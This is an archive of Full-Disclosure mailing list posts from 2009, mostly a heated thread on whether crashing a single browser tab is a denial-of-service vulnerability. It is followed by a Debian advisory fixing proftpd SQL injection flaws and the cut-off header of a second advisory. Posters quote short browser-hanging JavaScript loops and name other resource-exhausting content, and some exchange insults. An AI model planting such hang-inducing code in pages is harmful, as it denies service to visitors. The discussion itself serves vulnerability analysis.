>> > Hash: SHA1
>> >
>> > Dear Nick,
>> >
>> > You and Thierry Loller are wrong.
>> >
>> > - -bm
>> >
>> > On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald <nick at virus-
>> > l.demon.co.uk> wrote:
>> >>Chris Evans to Thierry Zoller:
>> >>
>> >>> > Example
>> >>> > If a chrome tab can be crashed arbritarely (remotely) it is a
>> >>DoS attack
>> >>> > but with ridiculy low impact to the end-user as it only
>> >>crashes the tab
>> >>> > it was subjected to, and not the whole browser or operation
>> >>system.
>> >>> > But the fact remains that this was the impact of a DoS
>> >>condition,
>> >>> > the tab crashes arbritarily.
>> >>>
>> >>> Eh? If you visit www.evil.com and your tab crashes, that's no
>> >>> different from www.evil.com closing its own tab with Javascript.
>> >>
>> >>But what if www.evil.com has run an injection attack of some kind
>> >>(SQL,
>> >>XSS in blog comments, etc, etc) against www.stupid.com?
>> >>
>> >>Visitors to stupid.com then suffer a DoS...
>> >>
>> >>Yes, stupid.com should run their site better, fix their myriad XSS
>> >>holes,
>> >>etc, etc.
>> >>
>> >>But this is the Internet, so this "software flaw" can be leveraged
>> >>as
>> >>security vulnerability.
>> >>
>> >>I'm with Thierry on this...
>> >>
>> >>
>> >>Regards,
>> >>
>> >>Nick FitzGerald
>> >>
>> >>
>> >>_______________________________________________
>> >>Full-Disclosure - We believe in it.
>> >>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> >>Hosted and sponsored by Secunia - http://secunia.com/
>> > -----BEGIN PGP SIGNATURE-----
>> > Charset: UTF8
>> > Version: Hush 3.0
>> > Note: This signature can be verified at https://www.hushtools.com/verify
>> >
>> > wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8+0
>> > b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxXFm
>> > 7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eAhp
>> > UpXIZ1s=
>> > =zgqd
>> > -----END PGP SIGNATURE-----
>> >
>> > --
>> > Become a medical transcriptionist at home, at your own pace.
>> >
>> > ?http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7cDXj4iASDyccuLtQA2i9f1le/
>> >
>> > _______________________________________________
>> > Full-Disclosure - We believe in it.
>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> > Hosted and sponsored by Secunia - http://secunia.com/
>> >
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From scarybeasts at gmail.com  Tue Mar  3 06:49:41 2009
From: scarybeasts at gmail.com (Chris Evans)
Date: Mon, 2 Mar 2009 22:49:41 -0800
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>
References: <1695017750.20090227143622@Zoller.lu>
	<72daeffd0903021813n56c3be5aq330518f9cd713ca8@mail.gmail.com>
	<49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>
Message-ID: <72daeffd0903022249w76833ea3gf93fd80df9df3fcc@mail.gmail.com>

On Mon, Mar 2, 2009 at 6:28 PM, Nick FitzGerald
<nick at virus-l.demon.co.uk> wrote:
> Chris Evans to Thierry Zoller:
>
>> > Example
>> > If a chrome tab can be crashed arbritarely (remotely) it is a DoS attack
>> > but with ridiculy low impact to the end-user as it only crashes the tab
>> > it was subjected to, and not the whole browser or operation system.
>> > But the fact remains that this was the impact of a DoS condition,
>> > the tab crashes arbritarily.
>>
>> Eh? If you visit www.evil.com and your tab crashes, that's no
>> different from www.evil.com closing its own tab with Javascript.
>
> But what if www.evil.com has run an injection attack of some kind (SQL,
> XSS in blog comments, etc, etc) against www.stupid.com?
>
> Visitors to stupid.com then suffer a DoS...

So, you have injected HTML into stupid.com, and you choose to inflict
the fury of a closing tab upon hapless visitors?

Cheers
Chris

>
> Yes, stupid.com should run their site better, fix their myriad XSS holes,
> etc, etc.
>
> But this is the Internet, so this "software flaw" can be leveraged as
> security vulnerability.
>
> I'm with Thierry on this...
>
>
> Regards,
>
> Nick FitzGerald
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From scarybeasts at gmail.com  Tue Mar  3 06:53:24 2009
From: scarybeasts at gmail.com (Chris Evans)
Date: Mon, 2 Mar 2009 22:53:24 -0800
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <Pine.LNX.4.64.0903031013220.16892@localhost.localdomain>
References: <1695017750.20090227143622@Zoller.lu>
	<72daeffd0903021813n56c3be5aq330518f9cd713ca8@mail.gmail.com>
	<Pine.LNX.4.64.0903031013220.16892@localhost.localdomain>
Message-ID: <72daeffd0903022253t5888cac5wf5be6ef0f1764fe7@mail.gmail.com>

On Tue, Mar 3, 2009 at 2:22 AM, jf <jf at danglingpointers.net> wrote:
>> Eh? If you visit www.evil.com and your tab crashes, that's no
>> different from www.evil.com closing its own tab with Javascript.
>
> While I generally agree that if its just a straight DoS that there is
> very little difference-- but to play devils advocate some--
> the difference is that with JS closing the tab, the code path was a
> known/valid/authorized one, whereas the other could potentially be
> anything, and whatever it is, it could be useful given the right
> circumstances.
>
> I know you know this, Chris, actually both of you (&& Thierry), so I'm
> somewhat preaching to the choir perhaps, but imho, all sigsegv's are at
> least worth investigating;

Sure.
For the sake of prolonging a pointless argument, let's stick to the
original premise of a tab crash with no other consequence, and see
where it goes :)

> 99.9% of them may be a useless dos, .09% might
> be useful dos's and .01% might just be the thing that turns $'s into #'s.
> Say saying 'lol xor eax, eax mov [eax], 0x01234567... trash' is a bit
> silly
>



From lcamtuf at coredump.cx  Tue Mar  3 09:21:23 2009
From: lcamtuf at coredump.cx (Michal Zalewski)
Date: Tue, 3 Mar 2009 10:21:23 +0100
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>
References: <1695017750.20090227143622@Zoller.lu>
	<72daeffd0903021813n56c3be5aq330518f9cd713ca8@mail.gmail.com>
	<49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>
Message-ID: <448e9a320903030121j77816595x95371bfe9965c501@mail.gmail.com>

> But what if www.evil.com has run an injection attack of some kind (SQL,
> XSS in blog comments, etc, etc) against www.stupid.com?
>
> Visitors to stupid.com then suffer a DoS...

In such a case, the attacker may just as well clobber body.innerHTML,
run a while (1) loop, or otherwise logically deny or alter service to
visitors without actually exploiting any specific bug - so I do not
see any significant benefit to killing this particular tab.

Crashing / hanging the entire browser is somewhat different, as it
bears some risk of data loss in plausible usage scenarios.
Unfortunately, most implementations do very little to prevent cases
that were permitted by standards in the first place (things such as
"while (1) str += str", "while (1) alert('foo')", looped blocking
XMLHttpRequest calls, ridiculously nested XML and other
expensive-to-render content, etc) - which makes finding new instances
somewhat futile and pointless, and a result, somewhat frowned upon on
security mailing lists (ugh).

/mz



From nick at virus-l.demon.co.uk  Tue Mar  3 10:00:02 2009
From: nick at virus-l.demon.co.uk (Nick FitzGerald)
Date: Tue, 03 Mar 2009 23:00:02 +1300
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <448e9a320903030121j77816595x95371bfe9965c501@mail.gmail.com>
References: <1695017750.20090227143622@Zoller.lu>
	<49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>
	<448e9a320903030121j77816595x95371bfe9965c501@mail.gmail.com>
Message-ID: <49ADB672.24232.C6681B5F@nick.virus-l.demon.co.uk>

Michal Zalewski to me:

> > But what if www.evil.com has run an injection attack of some kind (SQL,
> > XSS in blog comments, etc, etc) against www.stupid.com?
> >
> > Visitors to stupid.com then suffer a DoS...
> 
> In such a case, the attacker may just as well clobber body.innerHTML,
> run a while (1) loop, or otherwise logically deny or alter service to
> visitors without actually exploiting any specific bug ...

So?

> ... - so I do not
> see any significant benefit to killing this particular tab.

Where in any usable definition of "denial of service" does the word 
"useful" or concept of "benefit" appear?

The question was, is it a DoS.

It is.

> Crashing / hanging the entire browser is somewhat different, as it
> bears some risk of data loss in plausible usage scenarios.
> Unfortunately, most implementations do very little to prevent cases
> that were permitted by standards in the first place (things such as
> "while (1) str += str", "while (1) alert('foo')", looped blocking
> XMLHttpRequest calls, ridiculously nested XML and other
> expensive-to-render content, etc) - which makes finding new instances
> somewhat futile and pointless, and a result, somewhat frowned upon on
> security mailing lists (ugh).

I agree, but I was not addressing that.

Is it useful?  Probably not.

But it's still a DoS...

And, will the Safari folk find something more important to fix if/when 
they look into it?

Who knows but it won't hurt for them to look...


Regards,

Nick FitzGerald




From nick at virus-l.demon.co.uk  Tue Mar  3 09:52:48 2009
From: nick at virus-l.demon.co.uk (Nick FitzGerald)
Date: Tue, 03 Mar 2009 22:52:48 +1300
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <72daeffd0903022249w76833ea3gf93fd80df9df3fcc@mail.gmail.com>
References: <1695017750.20090227143622@Zoller.lu>
	<49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>
	<72daeffd0903022249w76833ea3gf93fd80df9df3fcc@mail.gmail.com>
Message-ID: <49ADB4C0.9503.C6617D7B@nick.virus-l.demon.co.uk>

Chris Evans to me:

> So, you have injected HTML into stupid.com, and you choose to inflict
> the fury of a closing tab upon hapless visitors?

Your point?

I said nothing about how big or bad of a vulnerability it is, just that 
it is one.

Are there lots and lots of trivial vulns in software?

Yes.

Do we reliably know which ones are safe to ignore?

Not if history is any vague kind of guide...


Regards,

Nick FitzGerald




From lcamtuf at coredump.cx  Tue Mar  3 10:19:59 2009
From: lcamtuf at coredump.cx (Michal Zalewski)
Date: Tue, 3 Mar 2009 11:19:59 +0100
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <49ADB4C0.9503.C6617D7B@nick.virus-l.demon.co.uk>
References: <1695017750.20090227143622@Zoller.lu>
	<49AD4C91.9523.C4CA7E2E@nick.virus-l.demon.co.uk>
	<72daeffd0903022249w76833ea3gf93fd80df9df3fcc@mail.gmail.com>
	<49ADB4C0.9503.C6617D7B@nick.virus-l.demon.co.uk>
Message-ID: <448e9a320903030219p4955c4ffof859ab26e0f5034a@mail.gmail.com>

> I said nothing about how big or bad of a vulnerability it is, just that
> it is one.

Which, in a wonderfully circular manner, brings us to the very
beginning of this branch of the thread, where opposing views on the
subject were discussed before Thierry brought this specific example in
;-)

Are we done yet?:p

/mz



From bobby.mugabe at hushmail.com  Tue Mar  3 11:16:02 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Tue, 03 Mar 2009 06:16:02 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090303111602.73F1828042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear Mr. FitzGerald,

Exactly what is this dick-wad you speak of?  Please elaborate, for
the sake of professionalism and coherency on this fine list of ours.

thanks,
- -bm

On Mon, 02 Mar 2009 23:35:00 -0500 Nick FitzGerald <nick at virus-
l.demon.co.uk> wrote:
>bobby.mugabe at hushmail.com wrote:
>
>> Dear Nick,
>>
>> You and Thierry Loller are wrong.
>
>Thank-you for your comprehensive and compelling argument.
>
>Applying your debating technique, I now see that you are a dick-
>wad.
>
>
>Regards,
>
>Nick FitzGerald
>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQMCAAYFAkmtERMACgkQhNp8gzZx3sgNdgP+L56ztyzKFEa0WuDsTssqaBHYZCV7
jPeGJkrdFlR14gtt0IvIc1GeidocFLXVB6U0jODdZVaTL3qThzR7syARCG3Q6483G6BH
naw9z72y6XNRvsZLg8UPZSWmV/NJdDaWWpaNHcZSYf1Q1Vykd3UaFhKHF6be3tUkVsVs
GiyT08Y=
=e2tj
-----END PGP SIGNATURE-----

--
Click to get Medical Insurance options that meet your needs.
 http://tagline.hushmail.com/fc/BLSrjkqeQhUmnBophPGCGyiYzMCuJSzWx4baKgHncbsGQFWerc36fK9uXXy/



From bobby.mugabe at hushmail.com  Tue Mar  3 11:18:25 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Tue, 03 Mar 2009 06:18:25 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090303111825.D3B8D28042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dear Valdis,

I have been able to reproduce a similar situation using Firefox
under MacOSX, using different websites and a significantly larger
number of tabs.  Do you think these issues might be related or are
they operating system specific?  What model of CPU were you testing
this issue under?

Thanks,
- -bm

On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
<security.mustache at gmail.com> wrote:
>I would like to point out that I have been able to create a "hung"
>state in the Firefox browser by opening 30 simultaneous tabs
>pointed
>at http://www.welcometointernet.org/lawnmower/ and adding a 31st
>tab
>viewing http://www.hotrussianbrides.com.
>
>Also, I am not amused.
>
>
>Your humble servant,
>Ze Mustache von Kletnieks
>
>On Mon, Mar 2, 2009 at 10:29 PM,  <bobby.mugabe at hushmail.com>
>wrote:
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Dear Nick,
>>
>> You and Thierry Loller are wrong.
>>
>> - -bm
>>
>> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald <nick at virus-
>> l.demon.co.uk> wrote:
>>>Chris Evans to Thierry Zoller:
>>>
>>>> > Example
>>>> > If a chrome tab can be crashed arbritarely (remotely) it is
>a
>>>DoS attack
>>>> > but with ridiculy low impact to the end-user as it only
>>>crashes the tab
>>>> > it was subjected to, and not the whole browser or operation
>>>system.
>>>> > But the fact remains that this was the impact of a DoS
>>>condition,
>>>> > the tab crashes arbritarily.
>>>>
>>>> Eh? If you visit www.evil.com and your tab crashes, that's no
>>>> different from www.evil.com closing its own tab with
>Javascript.
>>>
>>>But what if www.evil.com has run an injection attack of some
>kind
>>>(SQL,
>>>XSS in blog comments, etc, etc) against www.stupid.com?
>>>
>>>Visitors to stupid.com then suffer a DoS...
>>>
>>>Yes, stupid.com should run their site better, fix their myriad
>XSS
>>>holes,
>>>etc, etc.
>>>
>>>But this is the Internet, so this "software flaw" can be
>leveraged
>>>as
>>>security vulnerability.
>>>
>>>I'm with Thierry on this...
>>>
>>>
>>>Regards,
>>>
>>>Nick FitzGerald
>>>
>>>
>>>_______________________________________________
>>>Full-Disclosure - We believe in it.
>>>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>>Hosted and sponsored by Secunia - http://secunia.com/
>> -----BEGIN PGP SIGNATURE-----
>> Charset: UTF8
>> Version: Hush 3.0
>> Note: This signature can be verified at
>https://www.hushtools.com/verify
>>
>>
>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8+
>0
>>
>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxXF
>m
>>
>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eAh
>p
>> UpXIZ1s=
>> =zgqd
>> -----END PGP SIGNATURE-----
>>
>> --
>> Become a medical transcriptionist at home, at your own pace.
>> ?
>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7c
>DXj4iASDyccuLtQA2i9f1le/
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVrkn
TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlNA5
wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3vju
P7xAvvQ=
=avqi
-----END PGP SIGNATURE-----

--
Click to find great rates on health insurance, save big, shop here.
 http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2GWai39WLJo4QlOxYCnjxaqn9u/



From steffen.joeris at skolelinux.de  Mon Mar  2 20:56:21 2009
From: steffen.joeris at skolelinux.de (Steffen Joeris)
Date: Mon, 02 Mar 2009 20:56:21 +0000
Subject: [Full-disclosure] [SECURITY] [DSA 1730-1] New proftpd-dfsg packages
	fix SQL injection vulnerabilites
Message-ID: <E1LeFBV-0002Xk-Lu@klecker.debian.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1730-1                  security at debian.org
http://www.debian.org/security/                           Steffen Joeris
March 02, 2009                        http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : proftpd-dfsg
Vulnerability  : SQL injection vulnerabilites
Problem type   : remote
Debian-specific: no
CVE Id         : CVE-2009-0542 CVE-2009-0543

The security update for proftpd-dfsg in DSA-1727-1 caused a regression
with the postgresql backend. This update corrects the flaw. Also it was
discovered that the oldstable distribution (etch) is not affected by the
security issues. For reference the original advisory follows.


Two SQL injection vulnerabilities have been found in proftpd, a
virtual-hosting FTP daemon. The Common Vulnerabilities and Exposures
project identifies the following problems:

CVE-2009-0542

Shino discovered that proftpd is prone to an SQL injection vulnerability
via the use of certain characters in the username.


CVE-2009-0543

TJ Saunders discovered that proftpd is prone to an SQL injection
vulnerability due to insufficient escaping mechanisms, when multybite
character encodings are used.


For the stable distribution (lenny), these problems have been fixed in
version 1.3.1-17lenny2.

The oldstable distribution (etch) is not affected by these problems.

For the unstable distribution (sid), these problems have been fixed in
version 1.3.2-1.

For the testing distribution (squeeze), these problems will be fixed
soon.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- -------------------------------

Debian (stable)
- ---------------

Stable updates are available for alpha, amd64, arm, armel, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-dfsg_1.3.1-17lenny2.dsc
    Size/MD5 checksum:     1348 999a90bce53bdbedb466c330f53930b3
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-dfsg_1.3.1-17lenny2.diff.gz
    Size/MD5 checksum:   102454 7aef5be0467c618268e6855853cc6ede
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-dfsg_1.3.1.orig.tar.gz
    Size/MD5 checksum:  2662056 da40b14c5b8ec5467505c98b4ee4b7b9

Architecture independent packages:

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1.3.1-17lenny2_all.deb
    Size/MD5 checksum:   194944 c8ff69e853fa9f2d99ac2f2ec6ef1931
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-doc_1.3.1-17lenny2_all.deb
    Size/MD5 checksum:  1256374 246af0eb2708ed8a95a4b09e6c12eeb6

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_alpha.deb
    Size/MD5 checksum:   204606 e7684fb8cea0eab2e70768e649cabfda
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_alpha.deb
    Size/MD5 checksum:   204494 0a8af70dbca35c00922dd74ac157950e
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_alpha.deb
    Size/MD5 checksum:   783174 412ec178e00e2c81b5ac03c011289cb9
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_alpha.deb
    Size/MD5 checksum:   215212 8ed3a97fd48134c095155b80280944f4

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_amd64.deb
    Size/MD5 checksum:   744994 088cc61e58bfe5cb69d1a289a01583c9
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_amd64.deb
    Size/MD5 checksum:   214394 2f91032b7ed9ac63bd185e44fbd9f9fc
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_amd64.deb
    Size/MD5 checksum:   203948 93a20998ec01d0146896715fff2eef4b
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_amd64.deb
    Size/MD5 checksum:   203960 2432cb98472f84d422af51b1e73f162f

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_arm.deb
    Size/MD5 checksum:   203054 82374f3091fde19ef25a05c6e84875f3
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_arm.deb
    Size/MD5 checksum:   699514 2780b586246090d45c89018a7c55405a
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_arm.deb
    Size/MD5 checksum:   203210 4a03125743c3a1648d19063f4f2da049
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_arm.deb
    Size/MD5 checksum:   213892 57cd6dd74cc84056983c6bd33b570336

armel architecture (ARM EABI)

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_armel.deb
    Size/MD5 checksum:   708946 be11be15d30a2006e1dc48e66729df5c
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_armel.deb
    Size/MD5 checksum:   213904 e90774a0f2b1872c1d263e767098395d
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_armel.deb
    Size/MD5 checksum:   203448 60fb5e55dac79485ac647428b6352e25
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_armel.deb
    Size/MD5 checksum:   203348 c374bc03f28fd0c28f4fcc2873044f9f

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_i386.deb
    Size/MD5 checksum:   688594 4cd06204ef629266c1c8155947a6b6a2
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_i386.deb
    Size/MD5 checksum:   212258 bafaa0315c5b5297b88b60b8616aac60
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_i386.deb
    Size/MD5 checksum:   203120 a227e785663434eae3dab1009a0bc62f
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_i386.deb
    Size/MD5 checksum:   203068 48b8a2dd5dff88c7efc712d10194378b

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_ia64.deb
    Size/MD5 checksum:   207290 590a5a7e19eaf9894a7e4ca7daca5b14
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_ia64.deb
    Size/MD5 checksum:   207130 03ca7f3af176a288f34629e858a2ca95
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_ia64.deb
    Size/MD5 checksum:   980558 0ef2425118c7512e57b1cdb71244cef8
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_ia64.deb
    Size/MD5 checksum:   222020 5a7e799ae7a49dc9d90835eb31da6aae

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_mips.deb
    Size/MD5 checksum:   203074 79d45e3f03cb02da954c88cdc02d814d
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_mips.deb
    Size/MD5 checksum:   203200 293e8ae86efc6db5974ea918c97e15d5
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_mips.deb
    Size/MD5 checksum:   211744 392471183f511b5af897ba94ee288c15
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_mips.deb
    Size/MD5 checksum:   688174 67dba7a05c79d64237dc9613556024b1

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_mipsel.deb
    Size/MD5 checksum:   203088 7fe0c3ca99c6a09d0c23132e5079c0ed
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_mipsel.deb
    Size/MD5 checksum:   203232 1686c31ecbc317e5ad06fd82c2561764
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_mipsel.deb
    Size/MD5 checksum:   688842 dace55dd469da8536ad0bd59bbc2be4b
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_mipsel.deb
    Size/MD5 checksum:   211658 6851634f6d477e86639c1251fd099fd7

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_powerpc.deb
    Size/MD5 checksum:   218060 2ed41953d64c3cc937a2b0536f7c2399
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_powerpc.deb
    Size/MD5 checksum:   205960 fc56a5d5bb506410f01096a97097cdf4
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_powerpc.deb
    Size/MD5 checksum:   205814 ecc3ac792892e290cf9e3ffd6d28fc90
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_powerpc.deb
    Size/MD5 checksum:   776858 79a93a35a4ef2f141598ffa73811f57c

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-mysql_1.3.1-17lenny2_s390.deb
    Size/MD5 checksum:   204214 7106c2dafe368d8433a4a3ff239e8039
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-pgsql_1.3.1-17lenny2_s390.deb
    Size/MD5 checksum:   204292 2b3489d42a909772a8a2185bb8d60e1c
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-mod-ldap_1.3.1-17lenny2_s390.deb
    Size/MD5 checksum:   214240 5822e4fb227da29983f2cabd119a7e9a
  http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-basic_1.3.1-17lenny2_s390.deb
    Size/MD5 checksum:   739348 87004df746c69fe18a73544977dbd36a


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFJrEdGYrVLjBFATsMRAmFWAJ0RHS6vv9UfhoX300gl4dZK/AwjDwCfSrzU
O78qmS5B51smaHAXMOT/Mdc=
=t+Ak
-----END PGP SIGNATURE-----



From steffen.joeris at skolelinux.de  Mon Mar  2 20:38:00 2009
From: steffen.joeris at skolelinux.de (Steffen Joeris)
Date: Mon, 02 Mar 2009 20:38:00 +0000
Subject: [Full-disclosure] [SECURITY] [DSA 1729-1] New gst-plugins-bad0.10
	packages fix multiple vulnerabilities
Message-ID: <E1LeEtk-0000aG-8y@klecker.debian.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1729-1                  security at debian.org
http://www.debian.org/security/                           Noah Meyerhans
March 02, 2009                        http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : gst-plugins-bad0.10
Vulnerability  : several vulnerabilities
Problem type   : local (remote)
Debian-specific: no
